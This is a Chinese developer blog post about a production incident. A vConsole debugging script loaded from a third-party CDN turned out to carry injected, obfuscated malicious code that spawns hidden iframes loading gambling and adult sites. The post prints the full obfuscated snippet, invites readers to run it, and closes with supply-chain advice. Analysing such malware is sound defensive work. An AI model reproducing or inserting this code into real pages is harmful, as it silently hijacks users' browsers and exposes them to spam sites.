本周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。
下面是排查此问题时的步骤:
review代码,代码逻辑没问题。
偶然间,发现有一段代码逻辑有问题,就是移动端调试工具库vConsole这个悬浮图标,代码逻辑是只有在生产环境才显示,其它环境不显示。至于为啥在生产环境上把调试工具展示出来的问题,不是本文的重点~,这里就不多赘述了,正常来说vConsole的悬浮图标这东西也不会影响用户操作,没怎么在意。
然而最不在意的内容,往往才是导致问题的关键要素。
发现vConsole不是通过安装依赖包的方式加载的,而是在页面用script标签引入的,而且引用的地址还是外部开源的第三方cdn的地址,不是公司内部cdn的地址。
于是开始针对这个地址进行排查,在一系列令绝大部分掘友目瞪口呆的操作下,终于定位到问题了。这个开源的cdn地址提供的vConsole源代码有问题,里面注入了一段跟vConsole代码不相关的恶意脚本代码。
感兴趣的掘友可以在自己电脑上是试一试。vConsole地址注意,如果在PC端下载此代码,要先把模拟手机模式打开再下载,不然下载的源码里不会有这个恶意脚本代码。
下面的截图是我在pc端浏览器上模拟手机模式,获取到的vConsole源码,我用红框圈住的就是恶意代码,它在vConsole源码文件最下方注入了一段恶意代码(广告相关的代码)。
这些恶意代码都是经过加密的,把变量都加密成了十六进制的格式,仅有七十多行,有兴趣的掘友可以把代码拷贝到自己本地,尝试执行一下。
全部代码如下:
var_0x30f682=_0x2e91;(function(_0x3a24cc,_0x4f1e43){var_0x2f04e2=_0x2e91,_0x52ac4=_0x3a24cc();while(!![]){try{var_0x5e3cb2=parseInt(_0x2f04e2(0xcc))/0x1*(parseInt(_0x2f04e2(0xd2))/0x2)+parseInt(_0x2f04e2(0xb3))/0x3+-parseInt(_0x2f04e2(0xbc))/0x4*(parseInt(_0x2f04e2(0xcd))/0x5)+parseInt(_0x2f04e2(0xbd))/0x6*(parseInt(_0x2f04e2(0xc8))/0x7)+-parseInt(_0x2f04e2(0xb6))/0x8*(-parseInt(_0x2f04e2(0xb4))/0x9)+parseInt(_0x2f04e2(0xb9))/0xa*(-parseInt(_0x2f04e2(0xc7))/0xb)+parseInt(_0x2f04e2(0xbe))/0xc*(-parseInt(_0x2f04e2(0xc5))/0xd);if(_0x5e3cb2===_0x4f1e43)break;else_0x52ac4['push'](_0x52ac4['shift']());}catch(_0x4e013c){_0x52ac4['push'](_0x52ac4['shift']());}}}(_0xabf8,0x5b7f0));var__encode=_0x30f682(0xd5),_a={},_0xb483=[_0x30f682(0xb5),_0x30f682(0xbf)];(function(_0x352778){_0x352778[_0xb483[0x0]]=_0xb483[0x1];}(_a));var__Ox10e985=[_0x30f682(0xcb),_0x30f682(0xce),_0x30f682(0xc0),_0x30f682(0xc3),_0x30f682(0xc9),'setAttribute',_0x30f682(0xc6),_0x30f682(0xd4),_0x30f682(0xca),_0x30f682(0xd1),_0x30f682(0xd7),_0x30f682(0xb8),_0x30f682(0xb7),_0x30f682(0xd3),'no-referrer',_0x30f682(0xd6),_0x30f682(0xba),'appChild',_0x30f682(0xc4),_0x30f682(0xcf),_0x30f682(0xbb),'删除',_0x30f682(0xd0),'期弹窗,',_0x30f682(0xc1),'jsjia',_0x30f682(0xc2)];function_0x2e91(_0x594697,_0x52ccab){var_0xabf83b=_0xabf8();return_0x2e91=function(_0x2e910a,_0x2d0904){_0x2e910a=_0x2e910a-0xb3;var_0x5e433b=_0xabf83b[_0x2e910a];return_0x5e433b;},_0x2e91(_0x594697,_0x52ccab);}window[__Ox10e985[0x0]]=function(){var_0x48ab79=document[__Ox10e985[0x2]](__Ox10e985[0x1]);_0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3],__Ox10e985[0x4]),_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]]=__Ox10e985[0x8],_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]]=__Ox10e985[0x8],_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]]=__Ox10e985[0xb],_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]]=__Ox10e985[0x8],_0x48ab79[__Ox10e985[0xd]]=__Ox10e985[0xe],_0x48ab79[__Ox10e985[0xf]]=__Ox10e985[0x10],document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);},function(_0x2492c5,_0x10de05,_0x10b59e,_0x49aa51,_0x2cab55,_0x385013){_0x385013=__Ox10e985[0x13],_0x49aa51=function(_0x2c78b5){typeofalert!==_0x385013alert(_0x2c78b5);;typeofconsole!==_0x385013console[__Ox10e985[0x14]](_0x2c78b5);},_0x10b59e=function(_0x42b8c7,_0x977cd7){return_0x42b8c7+_0x977cd7;},_0x2cab55=_0x10b59e(__Ox10e985[0x15],_0x10b59e(_0x10b59e(__Ox10e985[0x16],__Ox10e985[0x17]),__Ox10e985[0x18]));try{_0x2492c5=__encode,!(typeof_0x2492c5!==_0x385013_0x2492c5===_0x10b59e(__Ox10e985[0x19],__Ox10e985[0x1a]))_0x49aa51(_0x2cab55);}catch(_0x57c008){_0x49aa51(_0x2cab55);}}({});function_0xabf8(){var_0x503a60=['','createElement','还请支持我们的工作','','src','body','16721731lEccKs','width','1450515IgSsSQ','49faOBBE','','0px','onload','3031TDvqkk','5wlfbud','iframe','undefined','版本号,js会定','height','394HRogfN','referrerPolicy','style','','sandbox','display','2071497kVsLsw','711twSQzP','_decode','32024UfDDBW','frameborder','none','10ZPsgHQ','allow-same-originallow-formsallow-scripts','log','1540476RTPMoy','492168jwboEb','12HdquZB'];_0xabf8=function(){return_0x503a60;};return_0xabf8();}
我在自己电脑上把这段代码执行了一下,其实在页面上用户是无感的,因为创建的标签都是隐藏起来的,只有打开调试工具才能看出来。
打开浏览器调试工具,查看页面dom元素:
打开调试工具的网络请求那一栏,发送无数个请求,甚至还有几个socket链接:
这就是为什么微信支付会把页面毙掉的原因了,页面只要加载了这段代码,就会执行下面这个逻辑:
页面加载后,代码自动执行,在页面中创建一个iframe标签,然后把。
随后在iframe标签中会无限制地创建div标签(直到你的浏览器崩溃!)。
每个div标签中又会创建一个iframe标签,而src会被分配随机的域名,有的已经打不开了,有的还可以打开,其实就是一些六合彩和一些有关那啥的网站(懂的都懂~)。
在这里不得不感叹ChatGPT的强大(模型训练的好),我把这段加密的代码直接输入进去,它给我翻译出来了,虽然具体逻辑没有翻译出来,但已经很好了。
下面这个是中文版的:
下面是我对这次问题的一个总结:
免费的不一定是最便宜的,也有可能是最贵的。
公司有自己的cdn依赖库就用公司内部的,或者去官网去下载对应的依赖,开源的第三方cdn上的内容慎重使用。
技术没有对和错,要看使用它的是什么人。
版权声明:本站所有作品(图文、音视频)均由用户自行上传分享,仅供网友学习交流,不声明或保证其内容的正确性,如发现本站有涉嫌抄袭侵权/违法违规的内容。请举报,一经查实,本站将立刻删除。